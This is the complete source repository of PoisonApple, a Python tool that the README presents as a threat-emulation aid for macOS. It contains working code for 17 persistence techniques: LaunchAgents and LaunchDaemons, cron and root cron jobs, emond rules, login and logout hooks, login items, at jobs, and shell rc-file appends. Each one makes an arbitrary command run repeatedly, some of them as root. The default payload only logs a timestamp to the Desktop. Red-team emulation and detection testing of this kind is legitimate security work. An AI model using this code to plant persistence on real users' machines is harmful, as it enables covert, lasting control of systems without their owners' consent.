├── .gitignore
├── LICENSE
├── README.md
├── poisonapple
├── __init__.py
├── auxiliary
│ ├── login-items-add.sh
│ ├── login-items-rm.sh
│ ├── poisonapple.plist
│ └── poisonapple.sh
├── cli.py
├── techniques.py
└── util.py
└── setup.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | *.egg-info/
3 | dist/
4 | build/
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Cyborg Security
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # PoisonApple
2 |
3 |
4 |
5 | This is a command-line tool to perform various persistence mechanism techniques on macOS. This tool was designed to be used by threat hunters for cyber threat emulation purposes.
6 |
7 | ## Install
8 |
9 | Do it up:
10 | ```
11 | $ pip3 install poisonapple --user
12 | ```
13 |
14 | Note: PoisonApple was written & tested using Python 3.9, it should work using Python 3.6+
15 |
16 | ## Important Notes!
17 |
18 | * PoisonApple will make modifications to your macOS system, it's advised to only use PoisonApple on a virtual machine. Although any persistence mechanism technique added using this tool can also be easily removed (-r), **please use with caution**!
19 | * Be advised: This tool will likely cause common AV / EDR / other macOS security products to generate alerts.
20 | * To understand how any of these techniques work in-depth please see [The Art of Mac Malware, Volume 1: Analysis - Chapter 0x2: Persistence](https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf) by Patrick Wardle of Objective-See. It's a fantastic resource.
21 |
22 | ## Usage
23 |
24 | See PoisonApple switch options (--help):
25 | ```
26 | $ poisonapple --help
27 | usage: poisonapple [-h] [-l] [-t TECHNIQUE] [-n NAME] [-c COMMAND] [-r]
28 |
29 | Command-line tool to perform various persistence mechanism techniques on macOS.
30 |
31 | optional arguments:
32 | -h, --help show this help message and exit
33 | -l, --list list available persistence mechanism techniques
34 | -t TECHNIQUE, --technique TECHNIQUE
35 | persistence mechanism technique to use
36 | -n NAME, --name NAME name for the file or label used for persistence
37 | -c COMMAND, --command COMMAND
38 | command(s) to execute for persistence
39 | -r, --remove remove persistence mechanism
40 | ```
41 |
42 | List of available techniques:
43 | ```
44 | $ poisonapple --list
45 | , _______ __
46 | .-.:|.-. | _ .-----|__|-----.-----.-----.
47 | .' '. |. | | | | |__ --| | | | |
48 | '-."~". .-' |. ____|_____|__|_____|_____|__|__|
49 | } ` } { |: | _______ __
50 | } } } { |::.| | _ .-----.-----| |-----.
51 | } ` } { `---' |. | | | | | | | -__|
52 | .-'"~" '-. |. _ | __| __|__|_____|
53 | '. .' |: | |__| |__|
54 | '-_.._-' |::.|:. |
55 | `--- ---' v0.2.3
56 |
57 | +--------------------+
58 | | AtJob |
59 | +--------------------+
60 | | Bashrc |
61 | +--------------------+
62 | | Cron |
63 | +--------------------+
64 | | CronRoot |
65 | +--------------------+
66 | | Emond |
67 | +--------------------+
68 | | Iterm2 |
69 | +--------------------+
70 | | LaunchAgent |
71 | +--------------------+
72 | | LaunchAgentUser |
73 | +--------------------+
74 | | LaunchDaemon |
75 | +--------------------+
76 | | LoginHook |
77 | +--------------------+
78 | | LoginHookUser |
79 | +--------------------+
80 | | LoginItem |
81 | +--------------------+
82 | | LogoutHook |
83 | +--------------------+
84 | | LogoutHookUser |
85 | +--------------------+
86 | | Periodic |
87 | +--------------------+
88 | | Reopen |
89 | +--------------------+
90 | | Zshrc |
91 | +--------------------+
92 | ```
93 |
94 | Apply a persistence mechanism:
95 | ```
96 | $ poisonapple -t LaunchAgentUser -n testing
97 | , _______ __
98 | .-.:|.-. | _ .-----|__|-----.-----.-----.
99 | .' '. |. | | | | |__ --| | | | |
100 | '-."~". .-' |. ____|_____|__|_____|_____|__|__|
101 | } ` } { |: | _______ __
102 | } } } { |::.| | _ .-----.-----| |-----.
103 | } ` } { `---' |. | | | | | | | -__|
104 | .-'"~" '-. |. _ | __| __|__|_____|
105 | '. .' |: | |__| |__|
106 | '-_.._-' |::.|:. |
107 | `--- ---' v0.2.3
108 |
109 | [+] Success! The persistence mechanism action was successful: LaunchAgentUser
110 | ```
111 |
112 | If no command is specified (-c) a default trigger command will be used which writes to a file on the Desktop every time the persistence mechanism is triggered:
113 | ```
114 | $ cat ~/Desktop/PoisonApple-LaunchAgentUser
115 | Triggered @ Tue Mar 23 17:46:02 CDT 2021
116 | Triggered @ Tue Mar 23 17:46:13 CDT 2021
117 | Triggered @ Tue Mar 23 17:46:23 CDT 2021
118 | Triggered @ Tue Mar 23 17:46:33 CDT 2021
119 | Triggered @ Tue Mar 23 17:46:43 CDT 2021
120 | Triggered @ Tue Mar 23 17:46:53 CDT 2021
121 | Triggered @ Tue Mar 23 17:47:03 CDT 2021
122 | Triggered @ Tue Mar 23 17:47:13 CDT 2021
123 | Triggered @ Tue Mar 23 17:48:05 CDT 2021
124 | Triggered @ Tue Mar 23 17:48:15 CDT 2021
125 | ```
126 |
127 | Remove a persistence mechanism:
128 | ```
129 | $ poisonapple -t LaunchAgentUser -n testing -r
130 | ...
131 | ```
132 |
133 | Use a custom command:
134 | ```
135 | $ poisonapple -t LaunchAgentUser -n foo -c "echo foo >> /Users/user/Desktop/foo"
136 | ...
137 | ```
--------------------------------------------------------------------------------
/poisonapple/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CyborgSecurity/PoisonApple/9282e61fc37a241cda144a901a57776498a1fde3/poisonapple/__init__.py
--------------------------------------------------------------------------------
/poisonapple/auxiliary/login-items-add.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | #
4 | # Source: https://github.com/andrewp-as-is/mac-login-items
5 | #
6 |
7 | { set +x; } 2>/dev/null
8 |
9 | usage() {
10 | echo "usage: $(basename $0) path ..." 1>&2
11 | [[ $1 == "-h" ]] || [[ $1 == "--help" ]]; exit
12 | }
13 |
14 | [[ $1 == "-h" ]] || [[ $1 == "--help" ]] && usage "$@"
15 |
16 | hidden=false
17 |
18 | while [[ $# != 0 ]]; do
19 | path="$1"
20 | ! [ -d "$1" ] && {
21 | [ -d /Applications/"$1" ] && path=/Applications/"$1"
22 | [ -d /Applications/"$1".app ] && path=/Applications/"$1".app
23 | [ -d ~/Applications/"$1" ] && path=~/Applications/"$1"
24 | [ -d ~/Applications/"$1".app ] && path=~/Applications/"$1".app
25 | }
26 | ! [ -e "$path" ] && echo "ERROR: $path NOT EXISTS" 1>&2 && exit 1
27 | osascript </dev/null
8 |
9 | usage() {
10 | echo "usage: $(basename $0)" 1>&2
11 | [[ $1 == "-h" ]] || [[ $1 == "--help" ]]; exit
12 | }
13 |
14 | [[ $1 == "-h" ]] || [[ $1 == "--help" ]] && usage "$@"
15 |
16 | [[ $# == 0 ]] && usage
17 |
18 | while [[ $# != 0 ]]; do
19 | osascript <
2 |
3 |
4 |
5 |
6 | name
7 | poisonapple rule
8 | enabled
9 |
10 | eventTypes
11 |
12 | startup
13 |
14 | actions
15 |
16 |
17 | command
18 | {0}
19 | user
20 | root
21 | arguments
22 |
23 | Emond
24 |
25 | type
26 | RunCommand
27 |
28 |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/poisonapple/auxiliary/poisonapple.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | echo "Triggered @ $(date) " >> /Users/$(stat -f "%Su" /dev/console)/Desktop/PoisonApple-$1
--------------------------------------------------------------------------------
/poisonapple/cli.py:
--------------------------------------------------------------------------------
1 | import argparse
2 |
3 | from poisonapple.techniques import Technique
4 | from poisonapple.util import get_trigger_command, print_status
5 |
6 | BANNER = """\
7 | , _______ __
8 | .-.:|.-. | _ .-----|__|-----.-----.-----.
9 | .' '. |. | | | | |__ --| | | | |
10 | '-."~". .-' |. ____|_____|__|_____|_____|__|__|
11 | } ` } { |: | _______ __
12 | } } } { |::.| | _ .-----.-----| |-----.
13 | } ` } { `---' |. | | | | | | | -__|
14 | .-'"~" '-. |. _ | __| __|__|_____|
15 | '. .' |: | |__| |__|
16 | '-_.._-' |::.|:. |
17 | `--- ---' v0.2.3
18 | """
19 |
20 |
21 | def get_parser():
22 | parser = argparse.ArgumentParser(
23 | description="Command-line tool to perform various persistence mechanism techniques on macOS."
24 | )
25 | parser.add_argument(
26 | "-l",
27 | "--list",
28 | action="store_true",
29 | help="list available persistence mechanism techniques",
30 | )
31 | parser.add_argument(
32 | "-t",
33 | "--technique",
34 | default=str(),
35 | type=str,
36 | help="persistence mechanism technique to use",
37 | )
38 | parser.add_argument(
39 | "-n",
40 | "--name",
41 | default=str(),
42 | type=str,
43 | help="name for the file or label used for persistence",
44 | )
45 | parser.add_argument(
46 | "-c",
47 | "--command",
48 | default=str(),
49 | type=str,
50 | help="command(s) to execute for persistence",
51 | )
52 | parser.add_argument(
53 | "-r",
54 | "--remove",
55 | action="store_true",
56 | help="remove persistence mechanism"
57 | )
58 | return parser
59 |
60 |
61 | def main():
62 | parser = get_parser()
63 | args = vars(parser.parse_args())
64 | technique_list = Technique.__subclasses__()
65 | print(BANNER)
66 |
67 | if args["list"]:
68 | seperator = f'+{"-"*20}+'
69 | for technique in technique_list:
70 | print(f"{seperator}\n| {technique.__name__:<18} |")
71 | print(seperator)
72 | return
73 |
74 | name = args["name"]
75 | remove = args["remove"]
76 | command = args["command"]
77 | technique = args["technique"]
78 |
79 | if not (name and technique):
80 | print_status("missing_option", stop=True)
81 |
82 | for technique_class in technique_list:
83 | technique_name = technique_class.__name__
84 | if technique_name.lower() == technique.strip().lower():
85 | if not command:
86 | command = get_trigger_command(technique_name)
87 | t = technique_class(name, command)
88 | if remove:
89 | t.remove()
90 | else:
91 | t.run()
92 |
93 |
94 | if __name__ == "__main__":
95 | main()
96 |
--------------------------------------------------------------------------------
/poisonapple/techniques.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | from poisonapple.util import (
4 | print_status,
5 | get_full_path,
6 | create_cron_job,
7 | remove_line,
8 | create_app,
9 | get_plist,
10 | write_plist,
11 | plist_launch_write,
12 | plist_launch_uninstall,
13 | )
14 |
15 |
16 | class Technique:
17 | def __init__(self, technique, name, command, root_required=False):
18 | self.technique = technique
19 | self.name = name
20 | self.command = command
21 | self.root_required = root_required
22 | self.success = False
23 | self.error_message = str()
24 |
25 | def display_result(self):
26 | if self.success:
27 | print_status("success", text=self.technique)
28 | else:
29 | print_status("failure", text=self.technique)
30 | print_status("python_error", text=self.error_message)
31 |
32 | @staticmethod
33 | def execute(func):
34 | def wrapper(self):
35 | if self.root_required and not os.geteuid() == 0:
36 | self.error_message = "Root access is required for this technique."
37 | else:
38 | try:
39 | func(self)
40 | self.success = True
41 | except Exception as e:
42 | self.error_message = str(e)
43 | self.display_result()
44 | return wrapper
45 |
46 |
47 | class AtJob(Technique):
48 | def __init__(self, name, command):
49 | super().__init__("AtJob", name, command, root_required=True)
50 | self.atrun_plist = "/System/Library/LaunchDaemons/com.apple.atrun.plist"
51 |
52 | @Technique.execute
53 | def run(self):
54 | os.system(f"launchctl unload -F {self.atrun_plist}")
55 | os.system(f"launchctl load -w {self.atrun_plist}")
56 | os.system(f"{self.command} | at +1 minute")
57 |
58 | @Technique.execute
59 | def remove(self):
60 | os.system(f"launchctl unload -F {self.atrun_plist}")
61 |
62 |
63 | class Bashrc(Technique):
64 | def __init__(self, name, command):
65 | super().__init__("Bashrc", name, command, root_required=False)
66 | self.bashrc_path = f"/Users/{os.getlogin()}/.bashrc"
67 |
68 | @Technique.execute
69 | def run(self):
70 | os.system(f'echo "{self.command} # {self.name}" >> {self.bashrc_path}')
71 |
72 | @Technique.execute
73 | def remove(self):
74 | remove_line(f"# {self.name}", self.bashrc_path)
75 |
76 |
77 | class Cron(Technique):
78 | def __init__(self, name, command):
79 | super().__init__("Cron", name, command, root_required=False)
80 |
81 | @Technique.execute
82 | def run(self):
83 | create_cron_job(os.getlogin(), self.command, self.name)
84 |
85 | @Technique.execute
86 | def remove(self):
87 | remove_line(
88 | f"# {self.name}", os.path.join("/usr/lib/cron/tabs/", os.getlogin())
89 | )
90 |
91 |
92 | class CronRoot(Technique):
93 | def __init__(self, name, command):
94 | super().__init__("CronRoot", name, command, root_required=True)
95 |
96 | @Technique.execute
97 | def run(self):
98 | create_cron_job("root", self.command, self.name)
99 |
100 | @Technique.execute
101 | def remove(self):
102 | remove_line(f"# {self.name}", "/usr/lib/cron/tabs/root")
103 |
104 |
105 | class Emond(Technique):
106 | def __init__(self, name, command):
107 | super().__init__("Emond", name, command, root_required=True)
108 |
109 | @Technique.execute
110 | def run(self):
111 | plist_path = get_full_path("auxiliary/poisonapple.plist")
112 | trigger_path = get_full_path("auxiliary/poisonapple.sh")
113 | with open(plist_path) as f:
114 | plist_data = f.read()
115 | with open(f"/etc/emond.d/rules/{self.name}.plist", "w") as f:
116 | f.write(plist_data.format(trigger_path))
117 | os.system(f"touch /private/var/db/emondClients/{self.name}")
118 |
119 | @Technique.execute
120 | def remove(self):
121 | os.remove(f"/etc/emond.d/rules/{self.name}.plist")
122 | os.remove(f"/private/var/db/emondClients/{self.name}")
123 |
124 |
125 | class Iterm2(Technique):
126 | def __init__(self, name, command):
127 | super().__init__("Iterm2", name, command, root_required=False)
128 | self.iterm2_plist = (
129 | f"/Users/{os.getlogin()}/Library/Preferences/com.googlecode.iterm2.plist"
130 | )
131 |
132 | @Technique.execute
133 | def run(self):
134 | plist_data = get_plist(self.iterm2_plist)
135 | plist_data["New Bookmarks"][0]["Initial Text"] = f"{self.command} && clear"
136 | write_plist(self.iterm2_plist, plist_data)
137 |
138 | @Technique.execute
139 | def remove(self):
140 | plist_data = get_plist(self.iterm2_plist)
141 | plist_data["New Bookmarks"][0].pop("Initial Text")
142 | write_plist(self.iterm2_plist, plist_data)
143 |
144 |
145 | class LaunchAgent(Technique):
146 | def __init__(self, name, command):
147 | super().__init__("LaunchAgent", name, command, root_required=True)
148 |
149 | @Technique.execute
150 | def run(self):
151 | plist_launch_write(self.name, self.command, 2)
152 |
153 | @Technique.execute
154 | def remove(self):
155 | plist_launch_uninstall(self.name, 2)
156 |
157 |
158 | class LaunchAgentUser(Technique):
159 | def __init__(self, name, command):
160 | super().__init__("LaunchAgentUser", name, command, root_required=False)
161 |
162 | @Technique.execute
163 | def run(self):
164 | try:
165 | os.mkdir(os.path.join(f"/Users/{os.getlogin()}", "Library/LaunchAgents"))
166 | except FileExistsError:
167 | pass
168 | plist_launch_write(self.name, self.command, 1)
169 |
170 | @Technique.execute
171 | def remove(self):
172 | plist_launch_uninstall(self.name, 1)
173 |
174 |
175 | class LaunchDaemon(Technique):
176 | def __init__(self, name, command):
177 | super().__init__("LaunchDaemon", name, command, root_required=True)
178 |
179 | @Technique.execute
180 | def run(self):
181 | plist_launch_write(self.name, self.command, 3)
182 |
183 | @Technique.execute
184 | def remove(self):
185 | plist_launch_uninstall(self.name, 3)
186 |
187 |
188 | class LoginHook(Technique):
189 | def __init__(self, name, command):
190 | super().__init__("LoginHook", name, command, root_required=True)
191 |
192 | @Technique.execute
193 | def run(self):
194 | os.system(f'defaults write com.apple.loginwindow LoginHook "{self.command}"')
195 |
196 | @Technique.execute
197 | def remove(self):
198 | os.system("defaults delete com.apple.loginwindow LoginHook")
199 |
200 |
201 | class LoginHookUser(Technique):
202 | def __init__(self, name, command):
203 | super().__init__("LoginHookUser", name, command, root_required=False)
204 |
205 | @Technique.execute
206 | def run(self):
207 | os.system(f'defaults write com.apple.loginwindow LoginHook "{self.command}"')
208 |
209 | @Technique.execute
210 | def remove(self):
211 | os.system("defaults delete com.apple.loginwindow LoginHook")
212 |
213 |
214 | class LoginItem(Technique):
215 | def __init__(self, name, command):
216 | super().__init__("LoginItem", name, command, root_required=False)
217 |
218 | @Technique.execute
219 | def run(self):
220 | app_path = create_app(self.name, self.command, "LoginItem")
221 | login_items_add_path = get_full_path("auxiliary/login-items-add.sh")
222 | os.system(f"{login_items_add_path} {app_path}")
223 |
224 | @Technique.execute
225 | def remove(self):
226 | login_items_rm_path = get_full_path("auxiliary/login-items-rm.sh")
227 | os.system(f"{login_items_rm_path} {self.name}")
228 |
229 |
230 | class LogoutHook(Technique):
231 | def __init__(self, name, command):
232 | super().__init__("LogoutHook", name, command, root_required=True)
233 |
234 | @Technique.execute
235 | def run(self):
236 | os.system(f'defaults write com.apple.loginwindow LogoutHook "{self.command}"')
237 |
238 | @Technique.execute
239 | def remove(self):
240 | os.system("defaults delete com.apple.loginwindow LogoutHook")
241 |
242 |
243 | class LogoutHookUser(Technique):
244 | def __init__(self, name, command):
245 | super().__init__("LogoutHookUser", name, command, root_required=False)
246 |
247 | @Technique.execute
248 | def run(self):
249 | os.system(f'defaults write com.apple.loginwindow LogoutHook "{self.command}"')
250 |
251 | @Technique.execute
252 | def remove(self):
253 | os.system("defaults delete com.apple.loginwindow LogoutHook")
254 |
255 |
256 | class Periodic(Technique):
257 | def __init__(self, name, command):
258 | super().__init__("Periodic", name, command, root_required=True)
259 |
260 | @Technique.execute
261 | def run(self):
262 | periodic_path = f"/etc/periodic/daily/666.{self.name}"
263 | with open(periodic_path, "w") as f:
264 | f.write(f"#!/usr/bin/env bash\n{self.command}")
265 | os.chmod(periodic_path, 0o755)
266 |
267 | @Technique.execute
268 | def remove(self):
269 | os.remove(f"/etc/periodic/daily/666.{self.name}")
270 |
271 |
272 | class Reopen(Technique):
273 | def __init__(self, name, command):
274 | super().__init__("Reopen", name, command, root_required=False)
275 |
276 | def get_plist_paths(self):
277 | reopen_path = f"/Users/{os.getlogin()}/Library/Preferences/ByHost/"
278 | plist_paths = [
279 | os.path.join(reopen_path, f)
280 | for f in os.listdir(reopen_path)
281 | if f.startswith("com.apple.loginwindow")
282 | ]
283 | if not plist_paths:
284 | raise Exception("Reopen plist file not found!")
285 | return plist_paths
286 |
287 | @Technique.execute
288 | def run(self):
289 | print_status(
290 | "warning", "This technique is finicky and might not work as expected, YMMV."
291 | )
292 | app_path = create_app(self.name, self.command, "Reopen")
293 | for path in self.get_plist_paths():
294 | plist_data = get_plist(path)
295 | plist_data["TALAppsToRelaunchAtLogin"].append(
296 | {
297 | "Hide": False,
298 | "BundleID": self.name,
299 | "Path": app_path,
300 | "BackgroundState": 2,
301 | }
302 | )
303 | write_plist(path, plist_data)
304 |
305 | @Technique.execute
306 | def remove(self):
307 | for path in self.get_plist_paths():
308 | plist_data = get_plist(path)
309 | for reopen_dict in plist_data["TALAppsToRelaunchAtLogin"]:
310 | if reopen_dict["BundleID"] == self.name:
311 | plist_data["TALAppsToRelaunchAtLogin"].remove(reopen_dict)
312 | write_plist(path, plist_data)
313 |
314 |
315 | class Zshrc(Technique):
316 | def __init__(self, name, command):
317 | super().__init__("Zshrc", name, command, root_required=False)
318 | self.zshrc_path = f"/Users/{os.getlogin()}/.zshrc"
319 |
320 | @Technique.execute
321 | def run(self):
322 | os.system(f'echo "{self.command} # {self.name}" >> {self.zshrc_path}')
323 |
324 | @Technique.execute
325 | def remove(self):
326 | remove_line(f"# {self.name}", self.zshrc_path)
327 |
--------------------------------------------------------------------------------
/poisonapple/util.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import crayons
4 | import launchd
5 | import plistlib
6 |
7 | from crontab import CronTab
8 |
9 | STATUS_MESSAGES = {
10 | "failure": "[!] Failure! The persistence mechansim action failed",
11 | "python_error": "[-] Error! Traceback",
12 | "missing_command": "[-] Error! Need to specifiy either --command OR --popup",
13 | "missing_option": "[-] Error! Missing required option, see --help for more info...",
14 | "success": "[+] Success! The persistence mechanism action was successful",
15 | "warning": "[~] Warning",
16 | }
17 |
18 | STATUS_COLORS = {
19 | "[+]": crayons.green,
20 | "[-]": crayons.red,
21 | "[!]": crayons.magenta,
22 | "[~]": crayons.yellow,
23 | }
24 |
25 |
26 | def print_status(name, text=str(), stop=False):
27 | message = STATUS_MESSAGES[name]
28 | if text:
29 | message += f": {text}"
30 | for log_type, color in STATUS_COLORS.items():
31 | if message.startswith(log_type):
32 | print(color(message))
33 | if stop:
34 | sys.exit(1)
35 |
36 |
37 | def get_full_path(relative_path):
38 | return os.path.join(os.path.abspath(os.path.dirname(__file__)), relative_path)
39 |
40 |
41 | def get_plist(file_path):
42 | with open(file_path, "rb") as f:
43 | return plistlib.load(f)
44 |
45 |
46 | def write_plist(file_path, data):
47 | with open(file_path, "wb") as f:
48 | plistlib.dump(data, f)
49 |
50 |
51 | def plist_launch_write(label, program_arguments, scope):
52 | plist = dict(
53 | Label=label,
54 | ProgramArguments=program_arguments.split(),
55 | RunAtLoad=True,
56 | KeepAlive=True,
57 | )
58 | job = launchd.LaunchdJob(label)
59 | fname = launchd.plist.write(label, plist, scope)
60 | launchd.load(fname)
61 |
62 |
63 | def plist_launch_uninstall(label, scope):
64 | fname = launchd.plist.discover_filename(label, scope)
65 | if not fname:
66 | raise Exception(f"{label}.plist not found.")
67 | launchd.unload(fname)
68 | os.unlink(fname)
69 |
70 |
71 | def get_trigger_command(technique_name):
72 | return f'{get_full_path("auxiliary/poisonapple.sh")} {technique_name}'
73 |
74 |
75 | def create_cron_job(user, command, comment):
76 | cron = CronTab(user=user)
77 | job = cron.new(command=command, comment=comment)
78 | job.minute.every(1)
79 | cron.write()
80 |
81 |
82 | def remove_line(string, file_path):
83 | lines = list()
84 | with open(file_path) as f:
85 | for line in f.readlines():
86 | if string in line:
87 | continue
88 | lines.append(line)
89 | with open(file_path, "w") as f:
90 | for line in lines:
91 | f.write(line)
92 |
93 |
94 | def create_app(name, command, technique_name):
95 | auxiliary_path = get_full_path("auxiliary/")
96 | app_path = os.path.join(auxiliary_path, f"{name}.app")
97 | app_path_full = os.path.join(app_path, "Contents/MacOS")
98 | try:
99 | os.makedirs(app_path_full)
100 | except FileExistsError:
101 | pass
102 | app_path_script = os.path.join(app_path_full, name)
103 | with open(app_path_script, "w") as f:
104 | f.write(f"#!/usr/bin/env bash\n{command}")
105 | os.chmod(app_path_script, 0o755)
106 | return app_path
107 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 |
3 | import os
4 | from setuptools import setup
5 |
6 | directory = os.path.abspath(os.path.dirname(__file__))
7 | with open(os.path.join(directory, "README.md"), encoding="utf-8") as f:
8 | long_description = f.read()
9 |
10 | setup(
11 | name="poisonapple",
12 | packages=[
13 | "poisonapple",
14 | "poisonapple.auxiliary",
15 | ],
16 | package_data={"poisonapple.auxiliary": ["*.plist", "*.sh"]},
17 | version="0.2.3",
18 | description="Command-line tool to perform various persistence mechanism techniques on macOS.",
19 | long_description=long_description,
20 | long_description_content_type="text/markdown",
21 | license="MIT",
22 | url="https://github.com/CyborgSecurity/PoisonApple",
23 | author="Austin Jackson",
24 | author_email="vesche@protonmail.com",
25 | entry_points={
26 | "console_scripts": [
27 | "poisonapple = poisonapple.cli:main",
28 | ]
29 | },
30 | install_requires=[
31 | "crayons",
32 | "launchd",
33 | "python-crontab",
34 | ],
35 | classifiers=[
36 | "Development Status :: 4 - Beta",
37 | "Environment :: Console",
38 | "Intended Audience :: Information Technology",
39 | "License :: OSI Approved :: MIT License",
40 | "Programming Language :: Python :: 3",
41 | "Programming Language :: Python :: 3.9",
42 | "Topic :: Security",
43 | ],
44 | )
45 |
--------------------------------------------------------------------------------